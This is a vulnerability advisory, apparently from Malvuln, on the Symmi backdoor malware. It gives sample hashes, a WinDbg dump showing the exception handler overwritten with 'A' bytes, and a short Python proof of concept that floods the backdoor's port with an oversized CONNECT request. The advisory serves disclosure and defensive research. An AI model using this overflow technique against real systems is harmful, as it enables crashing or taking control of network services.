Threat: Backdoor.Win32.Symmi.qua
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on two random high TCP ports, when connecting (ncat) one port will return a single character like "♣" ord(a) "9827" the other ports return no response, target the non responsive port. Third-party adversaries who can detect and reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).
Family: Symmi
Type: PE32
MD5: 6e81618678ddfee69342486f6b5ee780
SHA256: a073f0bf8599352b57540930c36d655ba9e5a5afeb0c2606b07372e62476d3b3
Vuln ID: MVID-2024-0692
Dropped files: ksomnbi.dll
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 09/03/2024

Memory Dump:
(1834.3f0): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=fffff74a edx=027ff640 esi=00000000 edi=00000002
eip=76fced3c esp=027ff038 ebp=027ff078 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
76fced3c c21400 ret 14h

0:007> .ecxr
eax=027ff741 ebx=02517ff0 ecx=fffff74a edx=027ff640 esi=025188a7 edi=02800000
eip=10001f32 esp=027ff6ec ebp=027ff6fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
ksomnbi+0x1f32:
10001f32 aa stos byte ptr es:[edi] es:002b:02800000=00

0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe

FAULTING_IP:
ksomnbi+1f32
10001f32 aa stos byte ptr es:[edi]

EXCEPTION_RECORD: 027ff23c -- (.exr 0x27ff23c)
ExceptionAddress: 10001f32 (ksomnbi+0x00001f32)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 02800000
Attempt to write to address 02800000

PROCESS_NAME: Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1: 00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 027ff28c -- (.cxr 0x27ff28c)
eax=027ff741 ebx=02517ff0 ecx=fffff74a edx=027ff640 esi=025188a7 edi=02800000
eip=10001f32 esp=027ff6ec ebp=027ff6fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
ksomnbi+0x1f32:
10001f32 aa stos byte ptr es:[edi] es:002b:02800000=00
Resetting default scope

WRITE_ADDRESS: 02800000

FOLLOWUP_IP:
ksomnbi+1f32
10001f32 aa stos byte ptr es:[edi]

FAULTING_THREAD: 000003f0

BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE

PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE

DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE

LAST_CONTROL_TRANSFER: from 10002fc3 to 10001f32

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
027ff6fc 10002fc3 027ff74a 02517ff0 00000001 ksomnbi+0x1f32
027fff80 41414141 41414141 41414141 41414141 ksomnbi+0x2fc3
027fff84 41414141 41414141 41414141 41414141 0x41414141
027fff88 41414141 41414141 41414141 41414141 0x41414141
027fff8c 41414141 41414141 41414141 41414141 0x41414141
027fff90 41414141 41414141 41414141 41414141 0x41414141
027fff94 41414141 41414141 41414141 41414141 0x41414141
027fff98 41414141 41414141 41414141 41414141 0x41414141
027fff9c 41414141 41414141 41414141 41414141 0x41414141
027fffa0 41414141 41414141 41414141 41414141 0x41414141
027fffa4 41414141 41414141 41414141 41414141 0x41414141
027fffa8 41414141 41414141 41414141 41414141 0x41414141
027fffac 41414141 41414141 41414141 41414141 0x41414141
027fffb0 41414141 41414141 41414141 41414141 0x41414141
027fffb4 41414141 41414141 41414141 41414141 0x41414141
027fffb8 41414141 41414141 41414141 41414141 0x41414141
027fffbc 41414141 41414141 41414141 41414141 0x41414141
027fffc0 41414141 41414141 41414141 41414141 0x41414141
027fffc4 41414141 41414141 41414141 41414141 0x41414141
027fffc8 41414141 41414141 41414141 41414141 0x41414141
027fffcc 41414141 41414141 41414141 41414141 0x41414141
027fffd0 41414141 41414141 41414141 41414141 0x41414141
027fffd4 41414141 41414141 41414141 41414141 0x41414141
027fffd8 41414141 41414141 41414141 41414141 0x41414141
027fffdc 41414141 41414141 41414141 41414141 0x41414141
027fffe0 41414141 41414141 41414141 41414141 0x41414141
027fffe4 41414141 41414141 41414141 41414141 0x41414141
027fffe8 41414141 41414141 41414141 41414141 0x41414141
027fffec 41414141 41414141 41414141 41414141 0x41414141
027ffff0 41414141 41414141 41414141 00000000 0x41414141
027ffff4 41414141 41414141 00000000 00000000 0x41414141
027ffff8 41414141 00000000 00000000 00000000 0x41414141
027ffffc 00000000 00000000 00000000 00000000 0x41414141

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: ksomnbi+1f32

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: ksomnbi

IMAGE_NAME: ksomnbi.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 537a7d0a

STACK_COMMAND: .cxr 0x27ff28c ; kb

FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_c0000409_ksomnbi.dll!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_ksomnbi+1f32

Followup: MachineOwner
---------

0:007> !exchain
027ff0f0: ntdll!_except_handler4+0 (76fd6a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (770157ad)
027ff710: ksomnbi+30df (100030df)
027fffcc: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
from socket import *

def doit():

MALWARE_HOST="x.x.x.x"
PORT=6917 #random port

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="CONNECT /"+"A"*2878 + " HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 2878\r\nHost: "+MALWARE_HOST
s.send(PAYLOAD.encode())
s.close()

while 1:
doit()
time.sleep(0.5)

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).